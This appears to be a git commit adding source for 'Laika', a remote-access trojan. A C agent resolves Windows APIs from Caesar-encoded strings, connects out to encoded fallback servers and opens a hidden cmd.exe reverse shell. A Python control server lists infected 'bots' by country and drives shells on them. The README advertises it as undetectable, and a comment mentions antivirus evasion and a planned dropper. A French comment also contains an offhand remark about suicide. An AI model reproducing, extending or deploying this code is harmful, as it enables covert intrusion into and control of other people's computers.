commit adb9cb74170c3b8a634769281c9c70702ea69c48 Author: ALittlePatate Date: Thu Jan 19 13:23:57 2023 +0100 premier commit diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..7a08910 --- /dev/null +++ b/.gitignore @@ -0,0 +1,2 @@ +Laika/.vs +Laika/release \ No newline at end of file diff --git a/Laika/Laika.sln b/Laika/Laika.sln new file mode 100644 index 0000000..7741c2d --- /dev/null +++ b/Laika/Laika.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.1.32407.343 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Laika", "Laika.vcxproj", "{6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Debug|x64.ActiveCfg = Debug|x64 + {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Debug|x64.Build.0 = Debug|x64 + {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Debug|x86.ActiveCfg = Debug|Win32 + {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Debug|x86.Build.0 = Debug|Win32 + {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Release|x64.ActiveCfg = Release|x64 + {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Release|x64.Build.0 = Release|x64 + {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Release|x86.ActiveCfg = Release|Win32 + {6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {40DA52A8-9E2F-46BC-AA9A-205BF4863D68} + EndGlobalSection +EndGlobal diff --git a/Laika/Laika.vcxproj b/Laika/Laika.vcxproj new file mode 100644 index 0000000..dc03993 --- /dev/null +++ b/Laika/Laika.vcxproj @@ -0,0 +1,167 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {6c8dd8fe-e960-43b4-b757-effa9fe6bb00} + Laika + 10.0 + + + + Application + true + v143 + Unicode + + + Application + false + v143 + false + Unicode + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + false + + + true + + + false + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp20 + + + Console + true + + + + + Level3 + true + true + false + WIN32;NDEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) + true + stdcpp20 + Disabled + MultiThreadedDebug + false + CompileAsC + + + Console + true + true + true + true + main + + + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Laika/Laika.vcxproj.filters b/Laika/Laika.vcxproj.filters new file mode 100644 index 0000000..9340471 --- /dev/null +++ b/Laika/Laika.vcxproj.filters @@ -0,0 +1,30 @@ + + + + + {e821bc06-aaf9-438e-91a3-8a3220e3c3f6} + + + {9e95c751-2cb6-4c1e-9f06-96b14532a979} + + + + + Init + + + Libs + + + Libs + + + + + Libs + + + Libs + + + \ No newline at end of file diff --git a/Laika/Laika.vcxproj.user b/Laika/Laika.vcxproj.user new file mode 100644 index 0000000..88a5509 --- /dev/null +++ b/Laika/Laika.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/Laika/main.c b/Laika/main.c new file mode 100644 index 0000000..4292d09 --- /dev/null +++ b/Laika/main.c @@ -0,0 +1,279 @@ +#include +#include +#include +#include "utils.h" +#include "resolve_apis.h" + +#define Sleep_TIME 30 + +HANDLE g_hChildStd_IN_Rd = NULL; +HANDLE g_hChildStd_IN_Wr = NULL; +HANDLE g_hChildStd_OUT_Rd = NULL; +HANDLE g_hChildStd_OUT_Wr = NULL; + +extern API Api; + +#define BUFFER_SIZE 4096 + +DWORD WINAPI redirect_i_thread(LPVOID lpParameter) { + SOCKET sock = (SOCKET)lpParameter; + char* buffer = (char*)Api.malloc(BUFFER_SIZE); + DWORD bytesRead; + + while (1) { + //Read data from the socket + Api.memset(buffer, 0, BUFFER_SIZE); + bytesRead = Api.recv(sock, buffer, BUFFER_SIZE, 0); + if (bytesRead > 0) { + Api.WriteFile(g_hChildStd_IN_Wr, CAESAR_DECRYPT(buffer), bytesRead, NULL, NULL); + //Api.WriteFile(g_hChildStd_IN_Wr, buffer, bytesRead, NULL, NULL); + } + else if (bytesRead == SOCKET_ERROR) { + break; + } + else { + Api.Sleep(50); + } + } + + Api.free(buffer); + return 0; +} + +DWORD WINAPI redirect_o_thread(LPVOID lpParameter) { + SOCKET sock = (SOCKET)lpParameter; + char* buffer = (char*)Api.malloc(BUFFER_SIZE); + DWORD bytesRead; + + while (1) { + // Read data from the child process's stdout pipe + if (Api.ReadFile(g_hChildStd_OUT_Rd, buffer, BUFFER_SIZE, &bytesRead, NULL)) { + Api.send(sock, CAESAR(buffer), bytesRead, 0); + //Api.send(sock, buffer, bytesRead, 0); + } + else { + DWORD error = Api.GetLastError(); + if (error == ERROR_BROKEN_PIPE) { + //pipe closed by the process + break; + } + } + } + + Api.free(buffer); + return 0; +} + +typedef struct t_watch_process_args { + SOCKET sock; + HANDLE process; +}watch_process_args; + +int should_reset = 0; +DWORD WINAPI watch_process(LPVOID lpParameter) { + watch_process_args* args = (watch_process_args*)(lpParameter); + + char buffer[1]; // buffer to hold the data + int n; + + while (1) { + n = Api.recv(args->sock, buffer, sizeof(buffer), MSG_PEEK); + if (n > 0) { + // There is data available on the socket, so the connection is still alive + } + else if (n == 0) { + // The connection has been closed + break; + } + else { + // An error occurred + break; + } + } + + Api.TerminateProcess(args->process, -1); + should_reset = 1; + + return 0; +} + +void SendShellEndedSignal(SOCKET sock) { + if (Api.send(sock, "Qfnpf?%xjxxnts%jsiji", strlen("Qfnpf?%xjxxnts%jsiji"), 0) < 0) //Laika: session ended + { + //send failed + } +} + +#define FALLBACK_SERVERS 4 + +char* fallback_servers[4]; +int serv = -1; +int main() { + InitApis(); + + Message(); + + fallback_servers[0] = CAESAR_DECRYPT("6>736;=3638:"); + fallback_servers[1] = CAESAR_DECRYPT(""); + fallback_servers[2] = CAESAR_DECRYPT(""); + fallback_servers[3] = CAESAR_DECRYPT("6>736;=36397"); + + Tmemset memset = Api.memset; + + wchar_t wtext[20]; + Api.mbstowcs(wtext, CAESAR_DECRYPT("hri3j}j"), strlen(CAESAR_DECRYPT("hri3j}j")) + 1);//Plus null + LPWSTR cmd_char = wtext; + + int sock; + int first = 1; + struct sockaddr_in server; + char* server_reply = (char*)Api.malloc(BUFFER_SIZE); + server.sin_family = AF_INET; + server.sin_port = Api.htons(1337); + + WORD wVersionRequested = MAKEWORD(2, 2); + WSADATA wsaData; + Api.WSAStartup(wVersionRequested, &wsaData); + +retry: + if (!first) { + Api.closesocket(sock); + } + else { + first = 0; + } + + serv++; + if (serv > FALLBACK_SERVERS-1) { + serv = 0; + } + server.sin_addr.s_addr = Api.inet_addr(fallback_servers[serv]); + + //Create socket + sock = Api.socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (sock == -1) + { + Sleep_(Sleep_TIME); + goto retry; + } + + //Connect to remote server + if (Api.connect(sock, (struct sockaddr*)&server, sizeof(server)) < 0) + { + //connect failed + Sleep_(Sleep_TIME); + goto retry; + } + + //keep communicating with server + while (1) + { + //Send some data + /* + if (Api.send(sock, "Wjfi~3\xf", strlen("Wjfi~3\xf"), 0) < 0) //Ready.\n + { + //send failed + Sleep_(Sleep_TIME); + goto retry; + } + */ + + //Receive a reply from the server + if (Api.recv(sock, server_reply, BUFFER_SIZE, 0) < 0) + { + //recv failed + Sleep_(Sleep_TIME); + goto retry; + } + + if (Api.strncmp(server_reply, "xmjqq", strlen("xmjqq")) == 0) { //shell + // Set the socket as standard output and error + SECURITY_ATTRIBUTES sa; + sa.nLength = sizeof(SECURITY_ATTRIBUTES); + sa.bInheritHandle = TRUE; + sa.lpSecurityDescriptor = NULL; + if (!Api.CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &sa, 0)) { + SendShellEndedSignal(sock); + Sleep_(Sleep_TIME); + goto retry; + } + if (!Api.CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &sa, 0)) { + SendShellEndedSignal(sock); + Sleep_(Sleep_TIME); + goto retry; + } + + // Create a thread to read from the pipes and write to the socket + HANDLE hThread = Api.CreateThread(NULL, 0, &redirect_i_thread, (LPVOID)sock, 0, NULL); + HANDLE hThread2 = Api.CreateThread(NULL, 0, &redirect_o_thread, (LPVOID)sock, 0, NULL); + + // Create the process + STARTUPINFO si; + ZeroMemory(&si, sizeof(STARTUPINFO)); + si.cb = sizeof(STARTUPINFO); + si.hStdError = g_hChildStd_OUT_Wr; + si.hStdOutput = g_hChildStd_OUT_Wr; + si.hStdInput = g_hChildStd_IN_Rd; + si.dwFlags |= STARTF_USESTDHANDLES; + + PROCESS_INFORMATION pi; + ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); + + if (!Api.CreateProcessW(NULL, cmd_char, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { //cmd.exe + SendShellEndedSignal(sock); + Api.CloseHandle(g_hChildStd_OUT_Wr); + Api.CloseHandle(g_hChildStd_IN_Rd); + + if (hThread != NULL) { + Api.TerminateThread(hThread, 0); + Api.CloseHandle(hThread); + } + if (hThread2 != NULL) { + Api.TerminateThread(hThread2, 0); + Api.CloseHandle(hThread2); + } + + Sleep_(Sleep_TIME); + goto retry; + } + + watch_process_args args = { sock, pi.hProcess}; + HANDLE hThread3 = Api.CreateThread(NULL, 0, &watch_process, &args, 0, NULL); + + // Wait for the process to finish + Api.WaitForSingleObject(pi.hProcess, INFINITE); + + SendShellEndedSignal(sock); + + // Close the handles + Api.CloseHandle(pi.hProcess); + Api.CloseHandle(pi.hThread); + Api.CloseHandle(g_hChildStd_OUT_Wr); + Api.CloseHandle(g_hChildStd_IN_Rd); + + if (hThread != NULL) { + Api.TerminateThread(hThread, 0); + Api.CloseHandle(hThread); + } + if (hThread2 != NULL) { + Api.TerminateThread(hThread2, 0); + Api.CloseHandle(hThread2); + } + if (hThread3 != NULL) { + Api.TerminateThread(hThread3, 0); + Api.CloseHandle(hThread3); + } + + if (should_reset) { + should_reset = 0; + goto retry; + } + } + } + + Api.closesocket(sock); + + FreeApis(); + + return 0; +} \ No newline at end of file diff --git a/Laika/resolve_apis.c b/Laika/resolve_apis.c new file mode 100644 index 0000000..9684f3d --- /dev/null +++ b/Laika/resolve_apis.c @@ -0,0 +1,59 @@ +#include "resolve_apis.h" + +API Api; +HMODULE hWininet; +HMODULE hMsvcrt; +HMODULE hKernel32; + +void InitApis() { + // Dynamic loading functions + hKernel32 = LoadLibraryA(CAESAR_DECRYPT("pjwsjq873iqq")); //kernel32.dll + if (!hKernel32) { + return; + } + + Api.GetProcAddress = (TGetProcAddress)GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyUwthFiiwjxx")); + Api.ReadFile = (TReadFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("WjfiKnqj")); + Api.WriteFile = (TWriteFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("\\wnyjKnqj")); + Api.CloseHandle = (TCloseHandle)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HqtxjMfsiqj")); + Api.GetLastError = (TGetLastError)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("LjyQfxyJwwtw")); + Api.CreatePipe = (TCreatePipe)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjUnuj")); + Api.WaitForSingleObject = (TWaitForSingleObject)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("\\fnyKtwXnslqjTgojhy")); + Api.Sleep = (TSleep)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("Xqjju")); + Api.CreateThread = (TCreateThread)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjYmwjfi")); + Api.TerminateThread = (TTerminateThread)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("YjwrnsfyjYmwjfi")); + Api.CreateProcessW = (TCreateProcessW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjUwthjxx\\")); + Api.TerminateProcess = (TTerminateProcess)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("YjwrnsfyjUwthjxx")); + Api.FreeLibrary = (TFreeLibrary)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("KwjjQngwfw~")); + + hWininet = LoadLibraryA(CAESAR_DECRYPT("|x7d873iqq")); + if (!hWininet) { + return; + } + + Api.connect = (Tconnect)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("htssjhy")); + Api.socket = (Tsocket)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("xthpjy")); + Api.send = (Tsend)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("xjsi")); + Api.recv = (Trecv)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("wjh{")); + Api.closesocket = (Tclosesocket)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("hqtxjxthpjy")); + Api.htons = (Thtons)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("mytsx")); + Api.inet_addr = (Tinet_addr)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("nsjydfiiw")); + Api.WSAStartup = (TWSAStartup)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("\\XFXyfwyzu")); + Api.WSAGetLastError = (TWSAGetLastError)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("\\XFLjyQfxyJwwtw")); + + hMsvcrt = LoadLibraryA(CAESAR_DECRYPT("rx{hwy3iqq")); + if (!hMsvcrt) { + return; + } + Api.memset = (Tmemset)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rjrxjy")); + Api.malloc = (Tmalloc)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rfqqth")); + Api.free = (Tfree)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("kwjj")); + Api.strncmp = (Tstrncmp)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xywshru")); + Api.mbstowcs = (Tmbstowcs)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rgxyt|hx")); +} + +void FreeApis() { + Api.FreeLibrary(hWininet); + Api.FreeLibrary(hMsvcrt); + Api.FreeLibrary(hKernel32); +} \ No newline at end of file diff --git a/Laika/resolve_apis.h b/Laika/resolve_apis.h new file mode 100644 index 0000000..12335fa --- /dev/null +++ b/Laika/resolve_apis.h @@ -0,0 +1,73 @@ +#pragma once +#include +#include +#include +#include +#include "utils.h" + + +typedef BOOL(WINAPI* Tconnect)(SOCKET, const SOCKADDR*, int); +typedef BOOL(WINAPI* Tsend)(SOCKET, const char*, int, int); +typedef BOOL(WINAPI* Trecv)(SOCKET, char*, int, int); +typedef BOOL(WINAPI* Tclosesocket)(SOCKET); +typedef u_short(WINAPI* Thtons)(u_short); +typedef u_long(WINAPI* Tinet_addr)(const char*); +typedef SOCKET(WINAPI* Tsocket)(int, int, int); +typedef int(WINAPI* TWSAStartup)(WORD, LPWSADATA); +typedef int(WINAPI* TWSAGetLastError)(void); + +typedef void* (WINAPI* Tmemset)(void*, int, size_t); +typedef void* (WINAPI* Tmalloc)(size_t); +typedef void(WINAPI* Tfree)(void*); +typedef int(WINAPI* Tstrncmp)(const char*, const char*, size_t); +typedef size_t(WINAPI* Tmbstowcs)(wchar_t*, const char*, size_t); + +typedef BOOL(WINAPI* TReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED); +typedef BOOL(WINAPI* TWriteFile)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED); +typedef BOOL(WINAPI* TCloseHandle)(HANDLE); +typedef DWORD(WINAPI* TGetLastError)(void); +typedef BOOL(WINAPI* TCreatePipe)(PHANDLE, PHANDLE, LPSECURITY_ATTRIBUTES, DWORD); +typedef BOOL(WINAPI* TWaitForSingleObject)(HANDLE, DWORD); +typedef void(WINAPI* TSleep)(DWORD); +typedef HANDLE(WINAPI* TCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); +typedef BOOL(WINAPI* TTerminateThread)(HANDLE, DWORD); +typedef BOOL(WINAPI* TCreateProcessW)(LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION); +typedef BOOL(WINAPI* TTerminateProcess)(HANDLE, UINT); +typedef BOOL(WINAPI* TFreeLibrary)(HMODULE); +typedef FARPROC(WINAPI* TGetProcAddress)(HMODULE, LPCSTR); + +typedef struct ApiList { + Tconnect connect; + Tsocket socket; + Tsend send; + Trecv recv; + Tclosesocket closesocket; + Thtons htons; + Tinet_addr inet_addr; + TWSAStartup WSAStartup; + TWSAGetLastError WSAGetLastError; + + Tmemset memset; + Tmalloc malloc; + Tfree free; + Tstrncmp strncmp; + + TReadFile ReadFile; + TWriteFile WriteFile; + TCloseHandle CloseHandle; + TGetLastError GetLastError; + TCreatePipe CreatePipe; + TWaitForSingleObject WaitForSingleObject; + TSleep Sleep; + TCreateThread CreateThread; + TTerminateThread TerminateThread; + TCreateProcessW CreateProcessW; + TTerminateProcess TerminateProcess; + TFreeLibrary FreeLibrary; + TGetProcAddress GetProcAddress; + + Tmbstowcs mbstowcs; +} API; + +void InitApis(); +void FreeApis(); \ No newline at end of file diff --git a/Laika/utils.c b/Laika/utils.c new file mode 100644 index 0000000..b4259d4 --- /dev/null +++ b/Laika/utils.c @@ -0,0 +1,43 @@ +#include "utils.h" +const int _fltused = 0; //fuck linker errors, all my homies hate CRT +extern API Api; + +void Message() { + if (1 == 3) { + int msgboxID = MessageBox( + NULL, + (LPCWSTR)L"Hello this is a message box", + (LPCWSTR)L"Hello !", + MB_ICONWARNING | MB_CANCELTRYCONTINUE | MB_DEFBUTTON2 + ); + } +} + +#define KEY 5 +char* CAESAR(char* in) { + for (size_t i = 0; i < strlen(in); i++) { + in[i] += KEY; + } + + return in; +} + +char* CAESAR_DECRYPT(char* in) { + for (size_t i = 0; i < strlen(in); i++) { + in[i] -= KEY; + } + + return in; +} + +void Sleep_(int time_to_wait) { + /* + C'est la dernière fonction qu'il reste à faire j'en ai marre du no CRT + et de devoir bypass les AV je vais me suicider il me reste le dropper + à faire dans les mêmes conditions. + */ + return; + Api.Sleep(time_to_wait * 1000); //TOFIX + + return; +} \ No newline at end of file diff --git a/Laika/utils.h b/Laika/utils.h new file mode 100644 index 0000000..3f06823 --- /dev/null +++ b/Laika/utils.h @@ -0,0 +1,10 @@ +#pragma once +#include +#include +#include +#include "resolve_apis.h" + +char* CAESAR(char* in); +char* CAESAR_DECRYPT(char* in); +void Sleep_(int time_to_wait); +void Message(); \ No newline at end of file diff --git a/Screenshots/Server.PNG b/Screenshots/Server.PNG new file mode 100644 index 0000000..3a64ab4 Binary files /dev/null and b/Screenshots/Server.PNG differ diff --git a/Server/Server.py b/Server/Server.py new file mode 100644 index 0000000..aabce7b --- /dev/null +++ b/Server/Server.py @@ -0,0 +1,185 @@ +from colorama import Fore, Style +from prettytable import PrettyTable +from geoip import geolite2 +from threading import Thread +import os, sys, time +import select +import socket + +ADRESSE = '192.168.1.35' +PORT = 1337 +CONNECT_CLIENTS = [] #liste des sockets ouverts +THREAD_LIST = [] #tout les threads +CAESAR_KEY = 5 +SELECTED_CLIENT = -1 + +serveur = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +serveur.bind((ADRESSE, PORT)) + +def CAESAR(in_s: str) -> str : + r="" + for c in in_s : + try : + r+=chr(ord(c)+CAESAR_KEY) + except : + r+=" " + return r + +def CAESAR_DECRYPT(in_s: str) -> str : + r="" + for c in in_s : + try : + r+=chr(ord(c)-CAESAR_KEY) + except : + r+=" " + return r + +def ban() : + os.system("title Laika - 0 bots") + os.system("cls") + print(Fore.RED + " __ _ _ ") + print(Fore.RED + " / / __ _ (_)| | __ __ _ ") + print(Fore.RED + " / / / _` || || |/ // _` |") + print(Fore.RED + "/ /___| (_| || || <| (_| |") + print(Fore.RED + "\____/ \__,_||_||_|\_\\\__,_|") + print(Style.BRIGHT + Fore.GREEN +"Là où fini l'État, commence l'arc-en-ciel." + Fore.RESET + Style.RESET_ALL) + print("") + +def on_new_client() -> None : + while True : + serveur.listen(1) + client, adresseClient = serveur.accept() + client.setblocking(0) + CONNECT_CLIENTS.append(client) + +def on_close_socket() -> None: + global CONNECT_CLIENTS + while True : + for s in CONNECT_CLIENTS : + try: + # this will try to read bytes without blocking and also without removing them from buffer (peek only) + data = s.recv(16, socket.MSG_PEEK) + if len(data) == 0: + CONNECT_CLIENTS.remove(s) + except BlockingIOError: + pass # socket is open and reading from it would block + except ConnectionResetError: + CONNECT_CLIENTS.remove(s) # socket was closed for some other reason + except Exception as e: + pass + +def update_title() -> None : + while True : + if SELECTED_CLIENT == -1 : + os.system("title Laika ^| "+str(len(CONNECT_CLIENTS))+" bots") + else : + os.system("title Laika ^| "+str(len(CONNECT_CLIENTS))+" bots - Selection : n°" + str(SELECTED_CLIENT)) + time.sleep(2) + +def recv_message(socket_object) -> bool: + socket_object.settimeout(0.1) + while True: + try : + message = socket_object.recv(4096) + if CAESAR_DECRYPT(message.decode("latin-1")) == "Laika: session ended" : + return False + except socket.timeout : + break + if not message: + break + print(CAESAR_DECRYPT(message.decode("latin-1")), end="") + if socket_object.gettimeout() == 0: + break + + return True + +def main() -> None : + global SELECTED_CLIENT + + ban() + + THREAD_LIST.append(Thread(target = on_new_client, args = ())) + THREAD_LIST.append(Thread(target = on_close_socket, args = ())) + THREAD_LIST.append(Thread(target = update_title, args = ())) + + for t in THREAD_LIST : + t.daemon = True + t.start() + + while True : + cmd = input(Fore.LIGHTBLUE_EX +"-> " + Fore.RESET) + + if cmd == "help" : + print("") + print("help : montre ce message") + print("clear : efface l'écran") + print("clients : montre les clients connectés") + print("select : sélectionne le client avec lequel intéragir") + print("deselect : désélectionne le client précédemment séléctionné avec \"select\"") + print("shell : ouvre un reverse shell dans le client précédemment séléctionné avec \"select\"") + print("") + + elif cmd == "exit" : + for c in CONNECT_CLIENTS : + c.close() + sys.exit(0) + + elif cmd == "clear" : + ban() + + elif cmd == "clients" : + print("") + x = PrettyTable() + x.field_names = ["ID", "IP", "PORT", "PAYS"] + + for i in range(0,len(CONNECT_CLIENTS)) : + c = CONNECT_CLIENTS[i] + addr = c.getpeername()[0] + pays = "" + match = geolite2.lookup(addr) + + if match is not None : + pays = match.country + + x.add_row([i, addr, PORT, pays]) + + print(x) + print() + + elif "select " in cmd : + id = cmd.replace("select ","") + if not id.isdigit() or int(id) < 0 or len(CONNECT_CLIENTS) < 1 or int(id) > len(CONNECT_CLIENTS)-1 : + print(f"\"{id}\" n'est pas un ID valide.") + continue + + SELECTED_CLIENT = int(id) + print(f"Client numéro : {SELECTED_CLIENT} sélectionné.") + + elif cmd == "deselect": + if SELECTED_CLIENT == -1 : + print("Vous n'avez aucun client sélectionné.") + else : + print(f"Client {SELECTED_CLIENT} déselectionné.") + SELECTED_CLIENT = -1 + + elif cmd == "shell" : + if SELECTED_CLIENT == -1 : + print("Vous n'avez aucun client sélectionné.") + continue + + client = CONNECT_CLIENTS[SELECTED_CLIENT] + client.send(CAESAR("shell").encode()) + + time.sleep(1) + + while True : + if not recv_message(client) : break + command = input("") + client.send(CAESAR(command+"\n").encode()) + + print("\nSession terminée.") + + else : + print("Commande non reconnue, \"help\" pour afficher la liste des commandes.") + +main() \ No newline at end of file diff --git a/Server/requirements.txt b/Server/requirements.txt new file mode 100644 index 0000000..cf8888f --- /dev/null +++ b/Server/requirements.txt @@ -0,0 +1,4 @@ +colorama +prettytable +python-geoip-python3 +python-geoip-geolite2 \ No newline at end of file diff --git a/readme.md b/readme.md new file mode 100644 index 0000000..ca61137 --- /dev/null +++ b/readme.md @@ -0,0 +1,27 @@ +# Laika + +# Agent + +* Petit (7ko) +* Fait en C, sans CRT +* x86bit +* Modulaire (peut se déployer via shellcode/dll/pe injection/.exe) +* Trafic chiffré +* API resolve de manière dynamique +* Reconnect en cas de plantage serv/autre +* Liste de serveurs de fallback +* FUD + +
+TODO + +* x64bit support +* Custom sleep +
+ +# Server + +* Fait en Python +* Tout beau + +![Alt text](Screenshots/Server.PNG "Screenshot du server") \ No newline at end of file